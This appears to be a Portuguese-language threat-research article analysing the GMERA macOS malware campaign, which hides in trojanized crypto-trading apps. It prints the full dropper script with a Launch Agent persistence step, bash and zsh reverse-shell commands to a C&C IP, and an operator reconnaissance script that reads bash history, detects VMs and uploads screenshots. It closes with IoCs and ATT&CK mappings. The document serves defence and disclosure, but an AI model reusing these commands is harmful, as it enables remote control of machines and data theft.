Recentemente, descobrimos sites que distribuem aplicativos maliciosos usados para a compra e venda de criptomoedas direcionadas a usuários de dispositivos Mac. O malware usado tenta roubar informações, como cookies do navegador, carteiras de criptomoedas e produzir screenshots. Ao analisar as amostras do malware, descobrimos rapidamente que essa era uma nova campanha chamada pelos pesquisadores da Trend Micro como GMERA em uma análise publicada em setembro de 2019. Como nas campanhas anteriores, o malware se comunica com um servidor C&C através de HTTP e conecta sessões de terminal remotas a outro servidor C&C usando um endereço IP hardcodeado. No entanto, desta vez, os criadores do malware não apenas envolveram a ameaça em um aplicativo original e legítimo, mas também modificaram o nome do aplicativo de Trading Kattana e fizeram cópias do site original. Verificamos as seguintes marcas fictícias sendo usadas em diferentes campanhas: Cointrazer, Cupatrade, Licatrade e Trezarus. Além de analisar o código do malware, os pesquisadores da ESET também criaram honeypots para tentar identificar as motivações do grupo de cibercriminosos por trás desse código malicioso.
Distribuição
Ainda não conseguimos encontrar exatamente onde esses aplicativos trojanizados são promovidos. No entanto, em março de 2020, o app Kattana publicou um alerta sugerindo que as vítimas foram abordadas individualmente com a intenção de induzi-las a baixar um aplicativo trojanizado. Não foi possível confirmar se esse app trojanizado tinham alguma relação com essa campanha em particular, mas isso pode ter ocorrido.
Os sites copiados são configurados para fazer com que o download do aplicativo falso pareça legítimo. Portanto, para uma pessoa que não conhece o app Kattana, os sites aparentemente contam com um desenho legítimo.
O botão de download nos sites falsos é um link para um arquivo ZIP que contém o pacote de aplicativos trojanizados.
Análise
A análise do malware neste caso é bem simples. Usaremos a amostra do Licatrade como exemplo para esse caso. Outras amostras têm pequenas diferenças, mas as ideias e as funcionalidades são essencialmente as mesmas. Análises semelhantes de campanhas anteriores do GMERA foram fornecidas nas publicações da Trend Micro e no relatório de malware para Mac de 2019 produzido pela Objective-See.
Quando baixamos o arquivo, tanto as modificações nos registros de data e hora dos arquivos contidos no arquivo ZIP, assim como a data em que o aplicativo foi assinado e a última modificação (Last-Modified) do cabeçalho HTTP, indicam o dia 15 de abril de 2020. Portanto, tudo parece indicar que esta campanha começou nessa data.
Um script de shell (run.sh) é incluído nos recursos contidos no pacote de aplicativos. Esse executável principal, escrito em Swift, executa run.sh. Por algum motivo, o criador do malware duplicou a funcionalidade de enviar um relatório simples para um servidor C&C via HTTP e conectar-se a um host remoto via TCP, que fornece um shell remoto aos atacantes, tanto no executável main como no script shell. Uma funcionalidade adicional, apenas no script da shell, configura a persistência através da instalação de um Launch Agent.
Aqui está a fonte completa do script da Shell (reticências em strings mais longas e mais inofensivas):
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
É interessante observar que a persistência é interrompida na amostra do Licatrade: o conteúdo resultante do arquivo Launch Agent (.com.apple.system.plist) não está no formato da lista de propriedades, como o launchd espera, mas é a linha de comando para ser executado.
O conteúdo decodificado (reticências em strings longas) da variável $plist_text é:
echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'
Se executado, esse código abriria uma reverse shell da máquina vítima para um servidor controlado pelo atacante, mas ocorre uma falha no processo. Felizmente para os atacantes, a última linha do script da shell também inicia uma reverse shell no servidor.
A amostra Cointrazer, usada em campanhas do Licatrade, não sofre com esse problema: o Launch Agent é instalado e inicia com êxito quando o usuário realiza login.
As diversas reverse shell usadas por esses operadores de malware se conectam a diferentes portas remotas, dependendo de como foram iniciadas. Todas as conexões não são criptografadas. Aqui está uma lista de portas, com base na amostra analisada do Licatrade.
TCP Port | Where | How |
---|---|---|
25733 | Licatrade executable | zsh in screen using ztcp |
run.sh | bash in screen using /dev/tcp | |
Launch Agent (Not working) | bash in screen using /dev/tcp | |
25734 | Licatrade executable | zsh using ztcp |
25735 | Licatrade executable | bash using /dev/tcp |
25736 | Licatrade executable | bash in screen using /dev/tcp |
25737 | Licatrade executable | bash in screen using /dev/tcp |
25738 | Licatrade executable | zsh in screen using ztcp |
Aqui estão alguns exemplos de linhas de comando usadas:
- Bash na tela usando /dev/tcp:
screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'
- zsh usando ztcp:
zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
O app Kattana com um nome diferente também é encontrado nos recursos do pacote do aplicativo. Queríamos ver se, além da alteração de nome e ícone no aplicativo, algum outro código foi alterado. Como o app Kattana solicita credenciais para plataformas de trading na hora de realizar negociações, verificamos se os campos de entrada foram alterados e se as credenciais foram exfiltradas de alguma forma. O Kattana é construído com o Electron, e os aplicativos Electron têm um arquivo app.asar, que contém o código JavaScript do aplicativo. Verificamos todas as alterações entre o aplicativo Kattana original e a cópia maliciosa do Licatrade e descobrimos que apenas os strings e imagens foram alterados.
O Licatrade e seus recursos foram assinados usando o mesmo certificado, em que Andrey Novoselov foi estabelecido no campo nome, usando o ID do desenvolvedor M8WVDT659T. O certificado foi emitido pela Apple em 6 de abril de 2020. Foi revogado no mesmo dia em que notificamos a Apple sobre esse aplicativo malicioso.
Para cada uma das outras campanhas analisadas, um certificado diferente foi usado. Ambos já foram revogados pela Apple no momento em que iniciamos nossas análises. Veja o IoC ao final deste post para saber mais detalhes. É interessante notar que, no caso do Cointrazer, houve apenas uma diferença de 15 minutos entre o momento em que a Apple emitiu o certificado e os atores maliciosos o usaram para assinar o aplicativo trojanizado. Isso e o fato de não termos encontrado mais nada assinado com a mesma chave sugerem que eles obtiveram o certificado explicitamente para esse propósito.
Infraestrutura
O malware Licatrade estava disponível no site licatrade.com e o domínio do servidor C&C ao qual reporta via HTTP é stepbystepby.com. Ambos os domínios foram registrados usando o endereço de e-mail levistor777@gmail.com. A pesquisa de outros domínios registrados com esse endereço de e-mail revela o que parecem ser campanhas anteriores. Aqui está uma lista de domínios encontrados em amostras ou registrados com esse endereço de e-mail.
Domain name | Registration date | Comment |
---|---|---|
repbaerray.pw | 2019-02-25 | C&C server for HTTP report of Stockfolio app |
macstockfolio.com | 2019-03-03 | Website distributing the malicious Stockfolio app |
latinumtrade.com | 2019-07-25 | Website distributing the malicious Latinum app |
trezarus.com | 2019-06-03 | Website distributing the malicious Trezarus app |
trezarus.net | 2019-08-07 | #rowspan# |
cointrazer.com | 2019-08-18 | Website distributing the malicious Cointrazer app |
apperdenta.com | 2019-08-18 | Usage unknown |
narudina.com | 2019-09-23 | Usage unknown |
nagsrsdfsudinasa.com | 2019-10-09 | C&C server for HTTP report of Cointrazer app |
cupatrade.com | 2020-03-28 | Website distributing the malicious Cupatrade app |
stepbystepby.com | 2020-04-07 | C&C server for HTTP report of Licatrade app |
licatrade.com | 2020-04-13 | Website distributing the malicious Licatrade app |
creditfinelor.com | 2020-05-29 | Empty page, usage unknown |
maccatreck.com | 2020-05-29 | Some authentication form |
Tanto os sites quanto os servidores HTTP para C&C que recebem o primeiro relatório do malware estão hospedados atrás do Cloudflare.
Interações do honeypot
Para obter mais informações sobre as intenções desse grupo, configuramos honeypots a partir dos quais monitoramos todas as interações entre as reverse shell dos backdoors do GMERA e os operadores desse malware.
Não vimos nenhum comando C&C emitido pelo canal do servidor HTTP C&C. Tudo aconteceu através das reverse shell. Quando conectado pela primeira vez, o servidor C&C enviou um script curto para coletar o nome de usuário, a versão do macOS e a localização (com base no endereço IP externo) do dispositivo comprometido.
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
que enviou algo assim para os operadores:
jeremy
10.13.4
Bratislava
SK
A conexão TCP permanece aberta e aguarda mais comandos. No nosso caso, depois de um tempo, os operadores inspecionaram a máquina manualmente. Em vários de nossos honeypots, os comandos usados para executar essa inspeção variaram. Parte disso estava apenas listando arquivos em todo o sistema de arquivos. Às vezes, eles copiavam e colavam um script codificado em base64, projetado para listar informações e revelar se trata-se de um honeypot ou um alvo interessante. O script é decodificado e, em seguida, canalizado para o bash.
Aqui está o script decodificado:
echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io
Na verdade, esse script é muito semelhante ao arquivo de plug-in encontrado em uma das amostras do Stockfolio analisadas no ano passado. No entanto, nas campanhas mais recentes, eles escolheram enviar o script de reconhecimento pela rede apenas para vítimas interessantes. Também foi atualizado para incluir informações adicionais.
Vamos revisar cada seção do script aqui:
- Obtém o relatório completo sobre o IP externo no ipinfo.io.
- Verifica o modelo do seu Mac usando os últimos 4 dígitos do número de série do Mac e um serviço HTTP fornecido pela Apple para convertê-lo em um nome amigável como "MacBook Pro (Retina, 15 polegadas, final de 2013)". As máquinas virtuais provavelmente têm números de série inválidos e não mostram um padrão.
- Fornece informações sobre a versão instalada do macOS. Há um vermelho bastante grande (usando a sequência de escape ANSI), todas as letras maiúsculas avisam quando o computador está executando o macOS Catalina (10.15).
- Verifica quando o macOS foi instalado usando o tempo de modificação /var/db/.AppleSetupDone.
- Fornece informações sobre o uso do disco e detalhes dos monitores conectados.
- Lista as redes Wi-Fi disponíveis. O honeypots provavelmente tenha o Wi-Fi desativado.
- Detecta se o computador é uma máquina virtual VMware, Parallels ou VirtualBox, examinando as sequências de strings dos fornecedores de dispositivos conectados.
- Verifica se editores de texto comuns ou aplicativos IDE estão instalados e avisa aos operadores para "serem cuidadosos" (sic), já que a vítima pode ter mais conhecimentos tecnológicos do que o habitual.
- Obtém os 20 primeiros comandos (ou seja, os mais antigos) no arquivo de histórico do bash.
- Finalmente, produz um screenshot, redimensiona o mesmo e faz o upload para file.io. Verifica se o sistema está executando o macOS Catalina antes de iniciar o processo, mas um erro de script torna essa verificação inútil. O operador de controle "&", que inicia comandos paralelos, é usado no lugar do operador lógico AND ("&&"). Isso significa que o screenshot é feito independentemente da versão do macOS.
O fato de um screenshot não ter sido produzido no Catalina e de que um sinal de aviso óbvio seja exibido no terminal do operador nos fez pensar por que eles agem de maneira diferente na versão atual do macOS. Acontece que o Catalina adicionou uma função em que a gravação na tela ou o screenshot devem ser aprovados pelo usuário para cada aplicativo. Tentamos fazer um screenshot do reverse shell no Catalina e recebemos o seguinte aviso em nossa sandbox, o que é bastante suspeito, considerando que um aplicativo comercial não precisa exibir uma mensagem como esta.
Se um sistema comprometido é considerado interessante, a fase de exfiltração é iniciada. Os arquivos interessantes são compactados em um arquivo ZIP e enviados via HTTP para outro servidor, também sob o controle dos atacantes.
É curioso notar aqui que o arquivo /tmp/h.zip não existia. Talvez eles tenham copiado e colado algum comando que foi usado para outra vítima.
De acordo com a atividade que testemunhamos, concluímos que alguns dos interesses dos operadores desse malware são:
- Informações do navegador (cookies, histórico)
- Carteiras de criptomoedas
- Screenshots
Conclusão
As diversas campanhas realizadas por esse grupo mostram o imenso esforço realizado no ano passado para atacar aos usuários do Mac que realizavam trading de forma on-line. Ainda não temos certeza de como alguém se torna vítima e consegue baixar um dos aplicativos trojanizados, mas a hipótese de que os operadores entram em contato diretamente com seus alvos e os convencem através de engenharia social a instalar o aplicativo malicioso pode ser a situação mais provável.
É interessante observar como a operação desse malware é mais limitada na versão mais recente do macOS. Não vimos os operadores tentando contornar a limitação de produzir screenshots. Além disso, acreditamos que a única maneira de ver a tela do computador de uma vítima executando o Catalina seja através da exfiltrar de screenshots existentes feitas pela vítima. Este é um bom exemplo de implementação de mitigação no sistema operacional que funcionou para limitar as atividades dos criminosos.
Indicadores de Comprometimento (IoCs)
Amostras
SHA-1 | Filename | ESET detection name |
---|---|---|
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B | Licatrade.zip | multiple threats |
560071EF47FE5417FFF62CB5C0E33B0757D197FA | Licatrade.app/Contents/Resources/run.sh | OSX/Agent.BA |
4C688493958CC7CCCFCB246E706184DD7E2049CE | Licatrade.app/Contents/MacOS/Licatrade | OSX/Agent.BA |
9C0D839D1F3DA0577A123531E5B4503587D62229 | Cointrazer.zip | multiple threats |
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 | Cointrazer.app/Contents/Resources/nytyntrun.sh | OSX/Agent.AZ |
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 | Cointrazer.app/Contents/MacOS/Cointrazer | OSX/Agent.BA |
575A43504F79297CBFA900B55C12DC83C2819B46 | Stockfolio.zip | multiple threats |
B8F19B02F9218A8DD803DA1F8650195833057E2C | Stockfolio.app/Contents/MacOS/Stockfoli | OSX/Agent.AZ |
AF65B1A945B517C4D8BAAA706AA19237F036F023 | Stockfolio.app/Contents/Resources/run.sh | OSX/Agent.AZ |
Certificado de assinatura de código
App name | Fingerprint (SHA-1) | Developer identity | Valid from | App signed on | Revoked on |
---|---|---|---|---|---|
Stockfolio | E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF | Levis Toretto (9T4J9V8NV5) | 2018-11-25 | 2019-04-18 | 2019-07-26 |
Cointrazer | 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 | Andrei Sobolev (A265HSB92F) | 2019-10-17 | 2019-10-17 | 2020-04-16 |
Licatrade | BDBD92BFF8E349452B07E5F1D2883678658404A3 | Andrey Novoselov (M8WVDT659T) | 2020-04-06 | 2020-04-15 | 2020-05-28 |
Redes
Nomes de domínio
• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com
Endereços IP
• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97
Indicadores baseados em host
Caminhos do arquivo
• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog
Launch Agent
• com.apple.apps.upd
• com.apples.apps.upd
Técnicas de MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1204 | User Execution | Victim needs to run the malicious application to be compromised. |
T1059 | Command-Line Interface | GMERA provides reverse bash and zsh shells to its operators. | |
Persistence | T1159 | Launch Agent | GMERA installs a Launch Agent to maintain persistence. |
Defense Evasion | T1116 | Code Signing | All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates. |
Credential Access | T1139 | Bash History | A GMERA reconnaissance script lists the first 20 lines of the .bash_history file. |
T1539 | Steal Web Session Cookie | GMERA’s operators steal browser cookies via a reverse shell. | |
Discovery | T1083 | File and Directory Discovery | GMERA’s operators list files on the target system via a reverse shell and ls . |
T1497 | Virtualization/Sandbox Evasion | A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine. | |
T1040 | Network Sniffing | A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s . | |
T1082 | System Information Discovery | A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model. | |
T1518 | Software Discovery | A GMERA reconnaissance script checks whether developer tools are installed. | |
Collection | T1005 | Data from Local System | GMERA’s operators use this malware to exfiltrate files from the compromised system. |
T1113 | Screen Capture | GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io. | |
Command and Control | T1043 | Commonly Used Port | Initial reporting from the malware is done using HTTP on its standard TCP port (80). |
T1065 | Uncommonly Used Port | GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738. | |
Exfiltration | T1048 | Exfiltration Over Alternative Protocol | GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server. |